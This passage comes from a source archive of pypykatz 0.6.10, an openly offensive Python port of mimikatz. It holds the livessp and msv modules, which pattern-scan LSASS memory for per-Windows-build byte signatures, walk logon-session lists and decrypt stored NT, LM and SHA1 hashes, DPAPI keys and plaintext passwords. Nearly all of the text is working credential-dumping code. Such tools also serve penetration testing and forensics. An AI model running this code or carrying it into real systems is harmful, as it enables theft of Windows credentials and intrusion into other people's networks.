ULONG.loadvalue(reader) await reader.align() res.Value = await PVOID.load(reader) return res././@PaxHeader0000000000000000000000000000003400000000000010212 xustar0028 mtime=1721570196.2873638 pypykatz-0.6.10/pypykatz/alsadecryptor/packages/livessp/0000775000175000017500000000000014647211624023066 5ustar00webdevwebdev././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1703767448.0 pypykatz-0.6.10/pypykatz/alsadecryptor/packages/livessp/__init__.py0000664000175000017500000000000014543266630025167 0ustar00webdevwebdev././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1703767448.0 pypykatz-0.6.10/pypykatz/alsadecryptor/packages/livessp/decryptor.py0000664000175000017500000000502314543266630025455 0ustar00webdevwebdev#!/usr/bin/env python3 # # Author: # Tamas Jos (@skelsec) # import io import json from pypykatz.alsadecryptor.package_commons import PackageDecryptor class LiveSspCredential: def __init__(self): self.credtype = 'livessp' self.username = None self.domainname = None self.password = None self.password_raw = b'' self.luid = None def to_dict(self): t = {} t['credtype'] = self.credtype t['username'] = self.username t['domainname'] = self.domainname t['password'] = self.password t['password_raw'] = self.password_raw t['luid'] = self.luid return t def to_json(self): return json.dumps(self.to_dict()) def __str__(self): t = '\t== LiveSsp [%x]==\n' % self.luid t += '\tusername %s\n' % self.username t += '\tdomainname %s\n' % self.domainname t += '\tpassword %s\n' % self.password t += '\t\tpassword (hex)%s\n' % self.password_raw.hex() return t class LiveSspDecryptor(PackageDecryptor): def __init__(self, reader, decryptor_template, lsa_decryptor, sysinfo): super().__init__('LiveSsp', lsa_decryptor, sysinfo, reader) self.decryptor_template = decryptor_template self.credentials = [] async def find_first_entry(self): position = await self.find_signature('msv1_0.dll',self.decryptor_template.signature) ptr_entry_loc = await self.reader.get_ptr_with_offset(position + self.decryptor_template.first_entry_offset) ptr_entry = await self.reader.get_ptr(ptr_entry_loc) return ptr_entry, ptr_entry_loc async def add_entry(self, ssp_entry): c = LiveSspCredential() c.luid = ssp_entry.LocallyUniqueIdentifier suppCreds = await ssp_entry.suppCreds.read(self.reader) c.username = await suppCreds.credentials.UserName.read_string(self.reader) c.domainname = await suppCreds.credentials.Domaine.read_string(self.reader) if suppCreds.credentials.Password.Length != 0: enc_data = await suppCreds.credentials.Password.read_maxdata(self.reader) if c.username.endswith('$') is True: c.password, c.password_raw = self.decrypt_password(enc_data, bytes_expected=True) if c.password is not None: c.password = c.password.hex() else: c.password, c.password_raw = self.decrypt_password(enc_data) self.credentials.append(c) async def start(self): try: entry_ptr_value, entry_ptr_loc = await self.find_first_entry() except Exception as e: self.log('Failed to find structs! Reason: %s' % e) return await self.reader.move(entry_ptr_loc) entry_ptr = await self.decryptor_template.list_entry.load(self.reader) await self.walk_list(entry_ptr, self.add_entry)././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1703767448.0 pypykatz-0.6.10/pypykatz/alsadecryptor/packages/livessp/templates.py0000664000175000017500000000607514543266630025450 0ustar00webdevwebdev#!/usr/bin/env python3 # # Author: # Tamas Jos (@skelsec) # import io #from minidump.win_datatypes import * from pypykatz.commons.common import KatzSystemArchitecture from pypykatz.alsadecryptor.win_datatypes import POINTER, ULONG, \ KIWI_GENERIC_PRIMARY_CREDENTIAL, PVOID, DWORD, LUID, LSA_UNICODE_STRING from pypykatz.alsadecryptor.package_commons import PackageTemplate class LiveSspTemplate(PackageTemplate): def __init__(self): super().__init__('LiveSsp') self.signature = None self.first_entry_offset = None self.list_entry = None @staticmethod def get_template(sysinfo): template = LiveSspTemplate() template.list_entry = PKIWI_LIVESSP_LIST_ENTRY template.log_template('list_entry', template.list_entry) if sysinfo.architecture == KatzSystemArchitecture.X64: template.signature = b'\x74\x25\x8b' template.first_entry_offset = -7 elif sysinfo.architecture == KatzSystemArchitecture.X86: template.signature = b'\x8b\x16\x39\x51\x24\x75\x08' template.first_entry_offset = -8 else: raise Exception('Unknown architecture! %s' % sysinfo.architecture) return template class PKIWI_LIVESSP_PRIMARY_CREDENTIAL(POINTER): def __init__(self): super().__init__() @staticmethod async def load(reader): p = PKIWI_LIVESSP_PRIMARY_CREDENTIAL() p.location = reader.tell() p.value = await reader.read_uint() p.finaltype = KIWI_LIVESSP_PRIMARY_CREDENTIAL return p class KIWI_LIVESSP_PRIMARY_CREDENTIAL: def __init__(self): self.isSupp = None self.unk0 = None self.credentials = None @staticmethod async def load(reader): res = KIWI_LIVESSP_PRIMARY_CREDENTIAL() res.isSupp = await ULONG.loadvalue(reader) res.unk0 = await ULONG.loadvalue(reader) res.credentials = await KIWI_GENERIC_PRIMARY_CREDENTIAL.load(reader) return res class PKIWI_LIVESSP_LIST_ENTRY(POINTER): def __init__(self): super().__init__() @staticmethod async def load(reader): p = PKIWI_LIVESSP_LIST_ENTRY() p.location = reader.tell() p.value = await reader.read_uint() p.finaltype = KIWI_LIVESSP_LIST_ENTRY return p class KIWI_LIVESSP_LIST_ENTRY: def __init__(self): self.Flink = None self.Blink = None self.unk0 = None self.unk1 = None self.unk2 = None self.unk3 = None self.unk4 = None self.unk5 = None self.unk6 = None self.LocallyUniqueIdentifier = None self.UserName = None self.unk7 = None self.suppCreds = None @staticmethod async def load(reader): res = KIWI_LIVESSP_LIST_ENTRY() res.Flink = await PKIWI_LIVESSP_LIST_ENTRY.load(reader) res.Blink = await PKIWI_LIVESSP_LIST_ENTRY.load(reader) res.unk0 = await PVOID.load(reader) res.unk1 = await PVOID.load(reader) res.unk2 = await PVOID.load(reader) res.unk3 = await PVOID.load(reader) res.unk4 = await DWORD.loadvalue(reader) res.unk5 = await DWORD.loadvalue(reader) res.unk6 = await PVOID.load(reader) res.LocallyUniqueIdentifier = await LUID.loadvalue(reader) res.UserName = await LSA_UNICODE_STRING.load(reader) res.unk7 = await PVOID.load(reader) res.suppCreds = await PKIWI_LIVESSP_PRIMARY_CREDENTIAL.load(reader) return res././@PaxHeader0000000000000000000000000000003400000000000010212 xustar0028 mtime=1721570196.2873638 pypykatz-0.6.10/pypykatz/alsadecryptor/packages/msv/0000775000175000017500000000000014647211624022206 5ustar00webdevwebdev././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1703767448.0 pypykatz-0.6.10/pypykatz/alsadecryptor/packages/msv/__init__.py0000664000175000017500000000000014543266630024307 0ustar00webdevwebdev././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1703767448.0 pypykatz-0.6.10/pypykatz/alsadecryptor/packages/msv/decryptor.py0000664000175000017500000004112514543266630024600 0ustar00webdevwebdev#!/usr/bin/env python3 # # Author: # Tamas Jos (@skelsec) # import io import json import base64 from pypykatz.commons.common import WindowsBuild, WindowsMinBuild, KatzSystemArchitecture, AGenericReader, UniversalEncoder, hexdump from pypykatz.commons.filetime import filetime_to_dt from pypykatz.alsadecryptor.packages.msv.templates import MSV1_0_PRIMARY_CREDENTIAL_STRANGE_DEC from pypykatz.alsadecryptor.packages.credman.templates import KIWI_CREDMAN_LIST_STARTER, KIWI_CREDMAN_SET_LIST_ENTRY from pypykatz.alsadecryptor.package_commons import PackageDecryptor class MsvCredential: def __init__(self): self.credtype = 'msv' self.username = None self.domainname = None self.NThash = None self.LMHash = None self.SHAHash = None self.DPAPI = None self.isoProt = None def to_dict(self): t = {} t['username'] = self.username t['domainname'] = self.domainname t['NThash'] = self.NThash t['LMHash'] = self.LMHash t['SHAHash'] = self.SHAHash t['DPAPI'] = self.DPAPI #t['isoProt'] = self.isoProt # removed this because it's not implemented fully and messes up the testcases return t def to_json(self): return json.dumps(self.to_dict(), cls=UniversalEncoder) def __str__(self): t = '\t== MSV ==\n' t += '\t\tUsername: %s\n' % (self.username if self.username else 'NA') t += '\t\tDomain: %s\n' % (self.domainname if self.domainname else 'NA') t += '\t\tLM: %s\n' % (self.LMHash.hex() if self.LMHash else 'NA') t += '\t\tNT: %s\n' % (self.NThash.hex() if self.NThash else 'NA') t += '\t\tSHA1: %s\n' % (self.SHAHash.hex() if self.SHAHash else 'NA') t += '\t\tDPAPI: %s\n' % (self.DPAPI.hex() if self.DPAPI else 'NA') return t class CredmanCredential: def __init__(self): self.credtype = 'credman' self.luid = None self.username = None self.password = None self.password_raw = b'' self.domainname = None def to_dict(self): t = {} t['credtype'] = self.credtype t['username'] = self.username t['domainname'] = self.domainname t['password'] = self.password t['password_raw'] = self.password_raw t['luid'] = self.luid return t def to_json(self): return json.dumps(self.to_dict()) def __str__(self): t = '\t== CREDMAN [%x]==\n' % self.luid t += '\t\tluid %s\n' % self.luid t += '\t\tusername %s\n' % self.username t += '\t\tdomain %s\n' % self.domainname t += '\t\tpassword %s\n' % self.password t += '\t\tpassword (hex)%s\n' % self.password_raw.hex() return t class LogonSession: grep_header = ['packagename', 'domain', 'user', 'NT', 'LM', 'SHA1', 'masterkey', 'sha1_masterkey', 'key_guid','plaintext'] def __init__(self): self.authentication_id = None self.session_id = None self.username = None self.domainname = None self.logon_server = None self.logon_time = None self.sid = None self.luid = None self.msv_creds = [] self.wdigest_creds = [] self.ssp_creds = [] self.livessp_creds = [] self.dpapi_creds = [] self.kerberos_creds = [] self.credman_creds = [] self.tspkg_creds = [] self.cloudap_creds = [] @staticmethod async def parse(entry, reader): """ Converts KIWI_MSV1_0_LIST type objects into a unified class """ lsc = LogonSession() lsc.authentication_id = entry.LocallyUniqueIdentifier lsc.session_id = entry.Session lsc.username = await entry.UserName.read_string(reader) lsc.domainname = await entry.Domaine.read_string(reader) lsc.logon_server = await entry.LogonServer.read_string(reader) if entry.LogonTime != 0: lsc.logon_time = filetime_to_dt(entry.LogonTime).isoformat() ts = await entry.pSid.read(reader) lsc.sid = str(ts) lsc.luid = entry.LocallyUniqueIdentifier return lsc def to_dict(self): t = {} t['authentication_id'] = self.authentication_id t['session_id'] = self.session_id t['username'] = self.username t['domainname'] = self.domainname t['logon_server'] = self.logon_server t['logon_time'] = self.logon_time t['sid'] = self.sid t['luid'] = self.luid t['msv_creds'] = [] t['wdigest_creds'] = [] t['ssp_creds'] = [] t['livessp_creds'] = [] t['dpapi_creds'] = [] t['kerberos_creds'] = [] t['credman_creds'] = [] t['tspkg_creds'] = [] t['cloudap_creds'] = [] for cred in self.msv_creds: t['msv_creds'].append(cred.to_dict()) for cred in self.wdigest_creds: t['wdigest_creds'].append(cred.to_dict()) for cred in self.ssp_creds: t['ssp_creds'].append(cred.to_dict()) for cred in self.livessp_creds: t['livessp_creds'].append(cred.to_dict()) for cred in self.dpapi_creds: t['dpapi_creds'].append(cred.to_dict()) for cred in self.kerberos_creds: t['kerberos_creds'].append(cred.to_dict()) for cred in self.credman_creds: t['credman_creds'].append(cred.to_dict()) for cred in self.tspkg_creds: t['tspkg_creds'].append(cred.to_dict()) for cred in self.cloudap_creds: t['cloudap_creds'].append(cred.to_dict()) return t def to_json(self): return json.dumps(self.to_dict(), cls=UniversalEncoder) def __str__(self): t = '== LogonSession ==\n' t += 'authentication_id %s (%x)\n' % (self.authentication_id, self.authentication_id) t += 'session_id %s\n' % self.session_id t += 'username %s\n' % self.username t += 'domainname %s\n' % self.domainname t += 'logon_server %s\n' % self.logon_server t += 'logon_time %s\n' % self.logon_time t += 'sid %s\n' % self.sid t += 'luid %s\n' % self.luid if len(self.msv_creds) > 0: for cred in self.msv_creds: t+= '%s' % str(cred) if len(self.wdigest_creds) > 0: for cred in self.wdigest_creds: t+= str(cred) if len(self.ssp_creds) > 0: for cred in self.ssp_creds: t+= str(cred) if len(self.livessp_creds) > 0: for cred in self.livessp_creds: t+= str(cred) if len(self.kerberos_creds) > 0: for cred in self.kerberos_creds: t+= str(cred) if len(self.wdigest_creds) > 0: for cred in self.wdigest_creds: t+= str(cred) if len(self.credman_creds) > 0: for cred in self.credman_creds: t+= str(cred) if len(self.tspkg_creds) > 0: for cred in self.tspkg_creds: t+= str(cred) if len(self.dpapi_creds) > 0: for cred in self.dpapi_creds: t+= str(cred) if len(self.cloudap_creds) > 0: for cred in self.cloudap_creds: t+= str(cred) return t def to_row(self): for cred in self.msv_creds: t = cred.to_dict() yield [self.luid, 'msv', self.session_id, self.sid, 'msv', '', self.domainname, self.username, 'NT', t['NThash'].hex() if t['NThash'] else ''] yield [self.luid, 'msv', self.session_id, self.sid, 'msv', '', self.domainname, self.username, 'LM', t['LMHash'].hex() if t['LMHash'] else ''] yield [self.luid, 'msv', self.session_id, self.sid, 'msv', '', self.domainname, self.username, 'sha1', t['SHAHash'].hex() if t['SHAHash'] else ''] for cred in self.wdigest_creds: t = cred.to_dict() yield [self.luid, t['credtype'], self.session_id, self.sid, t['credtype'], '', self.domainname, self.username, 'plaintext', t['password']] for cred in self.ssp_creds: t = cred.to_dict() yield [self.luid, t['credtype'], self.session_id, self.sid, t['credtype'], '', self.domainname, self.username, 'plaintext', t['password']] for cred in self.livessp_creds: t = cred.to_dict() yield [self.luid, t['credtype'], self.session_id, self.sid, t['credtype'], '', self.domainname, self.username, 'plaintext', t['password']] for cred in self.dpapi_creds: t = cred.to_dict() yield [self.luid, t['credtype'], self.session_id, self.sid, t['credtype'], '', self.domainname, self.username, 'masterkey', t['masterkey']] yield [self.luid, t['credtype'], self.session_id, self.sid, t['credtype'], '', self.domainname, self.username, 'sha1', t['sha1_masterkey']] for cred in self.kerberos_creds: t = cred.to_dict() yield [self.luid, t['credtype'], self.session_id, self.sid, t['credtype'], '', self.domainname, self.username, 'plaintext', t['password']] for cred in self.credman_creds: t = cred.to_dict() yield [self.luid, t['credtype'], self.session_id, self.sid, t['credtype'], '', self.domainname, self.username, 'plaintext', t['password']] for cred in self.tspkg_creds: t = cred.to_dict() yield [self.luid, t['credtype'], self.session_id, self.sid, t['credtype'], '', self.domainname, self.username, 'plaintext', t['password']] for cred in self.cloudap_creds: t = cred.to_dict() yield [self.luid, t['credtype'], self.session_id, self.sid, t['credtype'], '', self.domainname, self.username, 'masterkey', str(cred.get_masterkey_hex())] yield [self.luid, t['credtype'], self.session_id, self.sid, t['credtype'], '', self.domainname, self.username, 'sha1', str(t['dpapi_key_sha1'])] yield [self.luid, t['credtype'], self.session_id, self.sid, t['credtype'], '', self.domainname, self.username, 'PRT', str(t['PRT'])] def to_grep_rows(self): for cred in self.msv_creds: t = cred.to_dict() yield [ 'msv', self.domainname, self.username, t['NThash'].hex() if t['NThash'] else '', t['LMHash'].hex() if t['LMHash'] else '', t['SHAHash'].hex() if t['SHAHash'] else '', '', '', '', '' ] for package in [self.wdigest_creds, self.ssp_creds, self.livessp_creds, self.credman_creds, self.tspkg_creds]: for cred in package: t = cred.to_dict() if t['password'] is not None: yield [str(t['credtype']), str(t['domainname']), str(t['username']), '', '', '', '', '', '', str(t['password'])] for cred in self.kerberos_creds: t = cred.to_dict() if t['password'] is not None or t['pin'] is not None: pin = '' if t['pin'] is not None: pin = '[PIN]%s' % t['pin'] yield [str(t['credtype']), str(t['domainname']), str(t['username']), '', '', '', '', '', '', pin] if t['password'] is not None: yield [str(t['credtype']), str(t['domainname']), str(t['username']), '', '', '', '', '', '', str(t['password'])] for cred in self.dpapi_creds: t = cred.to_dict() yield [str(t['credtype']), '', '', '', '', '', str(t['masterkey']), str(t['sha1_masterkey']), str(t['key_guid']), ''] for cred in self.cloudap_creds: t = cred.to_dict() yield [str(t['credtype']), '', '', '', '', '', str(cred.get_masterkey_hex()), str(t['dpapi_key_sha1']), str(t['key_guid']), str(t['PRT'])] class MsvDecryptor(PackageDecryptor): def __init__(self, reader, decryptor_template, lsa_decryptor, credman_template, sysinfo): super().__init__('Msv', lsa_decryptor, sysinfo, reader) self.decryptor_template = decryptor_template self.credman_decryptor_template = credman_template self.entries = [] self.entries_seen = {} self.logon_sessions = {} self.logon_session_count = None self.current_logonsession = None async def find_first_entry(self): #finding signature position = await self.find_signature('lsasrv.dll',self.decryptor_template.signature) #getting logon session count self.logon_session_count = 1 if self.sysinfo.architecture == KatzSystemArchitecture.X64: if self.sysinfo.buildnumber >= WindowsBuild.WIN_8.value or (WindowsMinBuild.WIN_8.value <= self.sysinfo.buildnumber < WindowsMinBuild.WIN_BLUE.value and self.sysinfo.msv_dll_timestamp > 0x60000000): ptr_entry_loc = await self.reader.get_ptr_with_offset(position + self.decryptor_template.offset2) await self.reader.move(ptr_entry_loc) t = await self.reader.read(1) self.logon_session_count = int.from_bytes(t, byteorder = 'big', signed = False) #getting logon session ptr ptr_entry_loc = await self.reader.get_ptr_with_offset(position + self.decryptor_template.first_entry_offset) ptr_entry = await self.reader.get_ptr(ptr_entry_loc) return ptr_entry, ptr_entry_loc async def add_entry(self, entry): self.current_logonsession = await LogonSession.parse(entry, self.reader) if entry.CredentialManager.value != 0: await self.parse_credman_credentials(entry) if entry.Credentials_list_ptr.value != 0: await self.walk_list(entry.Credentials_list_ptr, self.add_credentials) else: self.log('No credentials in this structure!') self.logon_sessions[self.current_logonsession.luid] = self.current_logonsession async def add_credentials(self, primary_credentials_list_entry): await self.walk_list( primary_credentials_list_entry.PrimaryCredentials_ptr, self.add_primary_credentials ) async def parse_credman_credentials(self, logon_session): await self.log_ptr(logon_session.CredentialManager.value, 'KIWI_CREDMAN_SET_LIST_ENTRY') credman_set_list_entry = await logon_session.CredentialManager.read(self.reader, override_finaltype = KIWI_CREDMAN_SET_LIST_ENTRY) await self.log_ptr(credman_set_list_entry.list1.value, 'KIWI_CREDMAN_LIST_STARTER') list_starter = await credman_set_list_entry.list1.read(self.reader, override_finaltype = KIWI_CREDMAN_LIST_STARTER) if list_starter.start.value != list_starter.start.location: await self.walk_list(list_starter.start, self.add_credman_credential, override_ptr = self.credman_decryptor_template.list_entry) async def add_credman_credential(self, credman_credential_entry): c = CredmanCredential() c.username = await credman_credential_entry.user.read_string(self.reader) c.domainname = await credman_credential_entry.server2.read_string(self.reader) if credman_credential_entry.cbEncPassword and credman_credential_entry.cbEncPassword != 0: enc_data = await credman_credential_entry.encPassword.read_raw(self.reader, credman_credential_entry.cbEncPassword) if c.username.endswith('$') is True: c.password, c.password_raw = self.decrypt_password(enc_data, bytes_expected=True) if c.password is not None: c.password = c.password.hex() else: c.password, c.password_raw = self.decrypt_password(enc_data) c.luid = self.current_logonsession.luid self.current_logonsession.credman_creds.append(c) async def add_primary_credentials(self, primary_credentials_entry): encrypted_credential_data = await primary_credentials_entry.encrypted_credentials.read_data(self.reader) #this is super-strange but sometimes the encrypted data can be empty (seen in forensics images) if not encrypted_credential_data: return self.log('Encrypted credential data \n%s' % hexdump(encrypted_credential_data)) self.log('Decrypting credential structure') dec_data, raw_dec = self.decrypt_password(encrypted_credential_data, bytes_expected = True) self.log('%s: \n%s' % (self.decryptor_template.decrypted_credential_struct.__name__, hexdump(dec_data))) struct_reader = AGenericReader(dec_data, self.sysinfo.architecture) if len(dec_data) == MSV1_0_PRIMARY_CREDENTIAL_STRANGE_DEC.size and dec_data[4:8] == b'\xcc\xcc\xcc\xcc': creds_struct = await MSV1_0_PRIMARY_CREDENTIAL_STRANGE_DEC.load(struct_reader) else: creds_struct = await self.decryptor_template.decrypted_credential_struct.load(struct_reader) cred = MsvCredential() if creds_struct.UserName: try: cred.username = await creds_struct.UserName.read_string(struct_reader) except Exception as e: self.log('Failed to get username, reason : %s' % str(e)) if creds_struct.LogonDomainName: try: cred.domainname = await creds_struct.LogonDomainName.read_string(struct_reader) except Exception as e: self.log('Failed to get domainname, reason : %s' % str(e)) if hasattr(creds_struct, 'DPAPIProtected') and creds_struct.DPAPIProtected != b'\x00'*16: cred.DPAPI = creds_struct.DPAPIProtected if hasattr(creds_struct, 'isIso'): cred.isoProt = bool(creds_struct.isIso) # # if cred.isoProt is True: # cred.NThash = None # cred.LMHash = None # cred.SHAHash = None # #else: # cred.NThash = creds_struct.NtOwfPassword # # if creds_struct.LmOwfPassword and creds_struct.LmOwfPassword != b'\x00'*16: # cred.LMHash = creds_struct.LmOwfPassword # cred.SHAHash = creds_struct.ShaOwPassword cred.NThash = creds_struct.NtOwfPassword if creds_struct.LmOwfPassword and creds_struct.LmOwfPassword != b'\x00'*16: cred.LMHash = creds_struct.LmOwfPassword cred.SHAHash = creds_struct.ShaOwPassword self.current_logonsession.msv_creds.append(cred) async def start(self): entry_ptr_value, entry_ptr_loc = await self.find_first_entry() for i in range(self.logon_session_count): await self.reader.move(entry_ptr_loc) for _ in range(i*2): #skipping offset in an architecture-agnostic way await self.reader.read_int() #does nothing just moves the position #self.log('moving to other logon session') entry_ptr = await self.decryptor_template.list_entry.load(self.reader) if entry_ptr.location == entry_ptr.value: # when there are multiple logon sessions (modern windows) there are cases when the # logon session list doesnt exist anymore. worry not, there are multiple of them, # but we need to skip the ones that are empty (eg. pointer points to itself) continue await self.walk_list(entry_ptr, self.add_entry) ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1703767448.0 pypykatz-0.6.10/pypykatz/alsadecryptor/packages/msv/templates.py0000664000175000017500000010561514543266630024570 0ustar00webdevwebdev#!/usr/bin/env python3 # # Author: # Tamas Jos (@skelsec) # from pypykatz import logger from pypykatz.commons.common import KatzSystemArchitecture, WindowsMinBuild, WindowsBuild from pypykatz.alsadecryptor.win_datatypes import BOOLEAN, HANDLE, USHORT, ULONG, LSA_UNICODE_STRING, LSAISO_DATA_BLOB, \ BYTE, PVOID, WORD, DWORD, POINTER, LUID, PSID, ANSI_STRING from pypykatz.alsadecryptor.package_commons import PackageTemplate class MsvTemplate(PackageTemplate): def __init__(self): super().__init__('Msv') self.signature = None self.first_entry_offset = None self.offset2 = None self.list_entry = None self.encrypted_credentials_list_struct = None self.encrypted_credential_struct = None self.decrypted_credential_struct = None @staticmethod def get_template(sysinfo): logger.debug('buildnumber: %s' % sysinfo.buildnumber) logger.debug('msv_dll_timestamp: %s' % sysinfo.msv_dll_timestamp) template = MsvTemplate() template.encrypted_credentials_list_struct = KIWI_MSV1_0_CREDENTIAL_LIST template.log_template('encrypted_credentials_list_struct', template.encrypted_credentials_list_struct) template.encrypted_credential_struct = KIWI_MSV1_0_PRIMARY_CREDENTIAL_ENC template.log_template('encrypted_credential_struct', template.encrypted_credential_struct) #identify credential session list structure to be used if sysinfo.buildnumber < WindowsMinBuild.WIN_2K3.value: template.list_entry = PKIWI_MSV1_0_LIST_51 elif sysinfo.buildnumber < WindowsMinBuild.WIN_VISTA.value: template.list_entry = PKIWI_MSV1_0_LIST_52 elif sysinfo.buildnumber < WindowsMinBuild.WIN_7.value: template.list_entry = PKIWI_MSV1_0_LIST_60 elif sysinfo.buildnumber < WindowsMinBuild.WIN_8.value: #do not do that :) if sysinfo.msv_dll_timestamp > 0x53480000: template.list_entry = PKIWI_MSV1_0_LIST_61_ANTI_MIMIKATZ else: template.list_entry = PKIWI_MSV1_0_LIST_61 elif sysinfo.buildnumber < WindowsMinBuild.WIN_BLUE.value: #template.list_entry = PKIWI_MSV1_0_LIST_62 if sysinfo.msv_dll_timestamp > 0x53480000: template.list_entry = PKIWI_MSV1_0_LIST_63 else: template.list_entry = PKIWI_MSV1_0_LIST_62 else: template.list_entry = PKIWI_MSV1_0_LIST_63 template.log_template('list_entry', template.list_entry) if sysinfo.buildnumber < WindowsBuild.WIN_10_1507.value: template.decrypted_credential_struct = MSV1_0_PRIMARY_CREDENTIAL_DEC elif sysinfo.buildnumber < WindowsBuild.WIN_10_1511.value: template.decrypted_credential_struct = MSV1_0_PRIMARY_CREDENTIAL_10_OLD_DEC elif sysinfo.buildnumber < WindowsBuild.WIN_10_1607.value: template.decrypted_credential_struct = MSV1_0_PRIMARY_CREDENTIAL_10_DEC else: template.decrypted_credential_struct = MSV1_0_PRIMARY_CREDENTIAL_10_1607_DEC template.log_template('decrypted_credential_struct', template.decrypted_credential_struct) if sysinfo.architecture == KatzSystemArchitecture.X64: if WindowsMinBuild.WIN_XP.value <= sysinfo.buildnumber < WindowsMinBuild.WIN_2K3.value: template.signature = b'\x4c\x8b\xdf\x49\xc1\xe3\x04\x48\x8b\xcb\x4c\x03\xd8' template.first_entry_offset = -4 template.offset2 = 0 elif WindowsMinBuild.WIN_2K3.value <= sysinfo.buildnumber < WindowsMinBuild.WIN_VISTA.value: template.signature = b'\x4c\x8b\xdf\x49\xc1\xe3\x04\x48\x8b\xcb\x4c\x03\xd8' template.first_entry_offset = -4 template.offset2 = -45 elif WindowsMinBuild.WIN_VISTA.value <= sysinfo.buildnumber < WindowsMinBuild.WIN_7.value: template.signature = b'\x33\xff\x45\x85\xc0\x41\x89\x75\x00\x4c\x8b\xe3\x0f\x84' template.first_entry_offset = 21#-4 template.offset2 = -4 elif WindowsMinBuild.WIN_7.value <= sysinfo.buildnumber < WindowsMinBuild.WIN_8.value: template.signature = b'\x33\xf6\x45\x89\x2f\x4c\x8b\xf3\x85\xff\x0f\x84' template.first_entry_offset = 19 template.offset2 = -4 elif WindowsMinBuild.WIN_8.value <= sysinfo.buildnumber < WindowsMinBuild.WIN_BLUE.value: if sysinfo.msv_dll_timestamp > 0x60000000: # new win2012 update weirdness template.list_entry = PKIWI_MSV1_0_LIST_63 template.signature = b'\x8b\xde\x48\x8d\x0c\x5b\x48\xc1\xe1\x05\x48\x8d\x05' template.first_entry_offset = 34 template.offset2 = -6 else: template.signature = b'\x33\xff\x41\x89\x37\x4c\x8b\xf3\x45\x85\xc0\x74' template.first_entry_offset = 16 template.offset2 = -4 elif WindowsMinBuild.WIN_BLUE.value <= sysinfo.buildnumber < WindowsBuild.WIN_10_1507.value: template.signature = b'\x8b\xde\x48\x8d\x0c\x5b\x48\xc1\xe1\x05\x48\x8d\x05' template.first_entry_offset = 36 template.offset2 = -6 elif WindowsBuild.WIN_10_1507.value <= sysinfo.buildnumber < WindowsBuild.WIN_10_1703.value: #1503 and 1603 template.signature = b'\x33\xff\x41\x89\x37\x4c\x8b\xf3\x45\x85\xc0\x74' template.first_entry_offset = 16 template.offset2 = -4 elif WindowsBuild.WIN_10_1703.value <= sysinfo.buildnumber < WindowsBuild.WIN_10_1803.value: #1703 template.signature = b'\x33\xff\x45\x89\x37\x48\x8b\xf3\x45\x85\xc9\x74' template.first_entry_offset = 23 template.offset2 = -4 elif WindowsBuild.WIN_10_1803.value <= sysinfo.buildnumber < WindowsBuild.WIN_10_1903.value: #1803 template.signature = b'\x33\xff\x41\x89\x37\x4c\x8b\xf3\x45\x85\xc9\x74' template.first_entry_offset = 23 template.offset2 = -4 elif WindowsBuild.WIN_10_1903.value <= sysinfo.buildnumber < WindowsBuild.WIN_11_2022.value: template.signature = b'\x33\xff\x41\x89\x37\x4c\x8b\xf3\x45\x85\xc0\x74' template.first_entry_offset = 23 template.offset2 = -4 elif WindowsBuild.WIN_11_2022.value <= sysinfo.buildnumber < WindowsBuild.WIN_11_2023.value: #20348 template.signature = b'\x45\x89\x34\x24\x4c\x8b\xff\x8b\xf3\x45\x85\xc0\x74' template.first_entry_offset = 24 template.offset2 = -4 else: template.signature = b'\x45\x89\x37\x4c\x8b\xf7\x8b\xf3\x45\x85\xc0\x0f' template.first_entry_offset = 27 template.offset2 = -4 elif sysinfo.architecture == KatzSystemArchitecture.X86: if WindowsMinBuild.WIN_XP.value <= sysinfo.buildnumber < WindowsMinBuild.WIN_2K3.value: template.signature = b'\xff\x50\x10\x85\xc0\x0f\x84' template.first_entry_offset = 24 template.offset2 = 0 elif WindowsMinBuild.WIN_2K3.value <= sysinfo.buildnumber < WindowsMinBuild.WIN_VISTA.value: template.signature = b'\x89\x71\x04\x89\x30\x8d\x04\xbd' template.first_entry_offset = -11 template.offset2 = -43 elif WindowsMinBuild.WIN_VISTA.value <= sysinfo.buildnumber < WindowsMinBuild.WIN_8.value: template.signature = b'\x89\x71\x04\x89\x30\x8d\x04\xbd' template.first_entry_offset = -11 template.offset2 = -42 elif WindowsMinBuild.WIN_8.value <= sysinfo.buildnumber < WindowsMinBuild.WIN_BLUE.value: template.signature = b'\x8b\x45\xf8\x8b\x55\x08\x8b\xde\x89\x02\x89\x5d\xf0\x85\xc9\x74' template.first_entry_offset = 18 template.offset2 = -4 elif WindowsMinBuild.WIN_BLUE.value <= sysinfo.buildnumber < WindowsBuild.WIN_10_1507.value: template.signature = b'\x8b\x4d\xe4\x8b\x45\xf4\x89\x75\xe8\x89\x01\x85\xff\x74' template.first_entry_offset = 16 template.offset2 = -4 elif sysinfo.buildnumber >= WindowsBuild.WIN_10_1507.value: template.signature = b'\x8b\x4d\xe8\x8b\x45\xf4\x89\x75\xec\x89\x01\x85\xff\x74' template.first_entry_offset = 16 template.offset2 = -4 else: raise Exception('Could not identify template! sysinfo.buildnumber: %d' % sysinfo.buildnumber) else: raise Exception('Unknown Architecture: %s , Build number %s' % (sysinfo.architecture, sysinfo.buildnumber)) return template class MSV1_0_PRIMARY_CREDENTIAL_STRANGE_DEC: #this structure doesnt have username nor domainname, but has credentials :S #starts with size = 0x60 def __init__(self): self.unk1 = None self.unk2 = None self.unk_tag = None self.unk_remaining_size = None self.LengthOfNtOwfPassword = None self.NtOwfPassword = None self.LengthOfShaOwfPassword = None self.ShaOwPassword = None self.LogonDomainName = None self.UserName = None self.LmOwfPassword = None self.isNtOwfPassword = None self.isLmOwfPassword = None self.isShaOwPassword = None @staticmethod async def load(reader): res = MSV1_0_PRIMARY_CREDENTIAL_STRANGE_DEC() res.unk1 = await USHORT.loadvalue(reader) res.unk2 = await USHORT.loadvalue(reader) res.unk_tag = await reader.read(4) #0xcccccc res.unk_remaining_size = await ULONG.loadvalue(reader) await reader.read(40) res.LengthOfNtOwfPassword = await ULONG.loadvalue(reader) res.NtOwfPassword = await reader.read(16) res.LengthOfShaOwfPassword = await ULONG.loadvalue(reader) res.ShaOwPassword = await reader.read(20) res.LogonDomainName = None res.UserName = None res.LmOwfPassword = None res.isNtOwfPassword = None res.isLmOwfPassword = None res.isShaOwPassword = None return res class 